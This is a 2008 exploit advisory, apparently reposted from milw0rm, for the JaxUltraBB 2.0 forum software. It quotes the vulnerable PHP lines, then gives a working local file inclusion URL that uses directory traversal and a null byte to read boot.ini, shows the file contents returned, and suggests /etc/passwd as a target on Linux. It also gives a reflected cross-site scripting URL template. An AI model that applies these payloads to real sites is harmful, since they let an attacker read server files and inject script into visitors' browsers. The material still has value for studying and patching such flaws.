jaxultrabb 2.0 - Local File Inclusion / Cross-Site Scripting

===============================================================
  JaxUltraBB <= 2.0 (LFI/XSS) Multiple Remote Vulnerabilities
===============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 20 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : JaxUltraBB
 VERSION     : <= 2.0
 DOWNLOAD    : http://downloads.sourceforge.net/jubb/
#####################################################

--- Local File Inclusion ---

-----------------------------------
 Vulnerable File [viewprofile.php]
-----------------------------------
@Line 8-9

   8: $userfile = file_get_contents("users/".$_GET['user'].".JaxSQL");
   9: $onlinefile = file_get_contents("users/".$_GET['user']."online.JaxSQL");

--------------
 POC Exploits
--------------

[+] http://192.168.24.25/jubb/viewprofile.php?user=../../../../../../../../boot.ini%00


    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.


--- Remote XSS Exploit ---

---------------------------------
 Vulnerable File [viewforum.php]
---------------------------------

@Line 

  14: $forum = $_GET['forum'];

  15: online_moved("Viewing ".$_GET['forum']);

  17: $forumfile = fopen("topics/".$forum."topics.JaxSQL", "at");
  18: $topicsfile = file_get_contents("topics/".$forum."topics.JaxSQL", "at");
  19: echo "<br><br><br><table><td background='img/header1.jpg' width='1000' align='center'>$forum</td><tr><td bgColor='darkblue'>";

---------
 Exploit
---------

[+] http://[Target]/[jubb_path]/viewforum.php?forum=<XSS>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-20]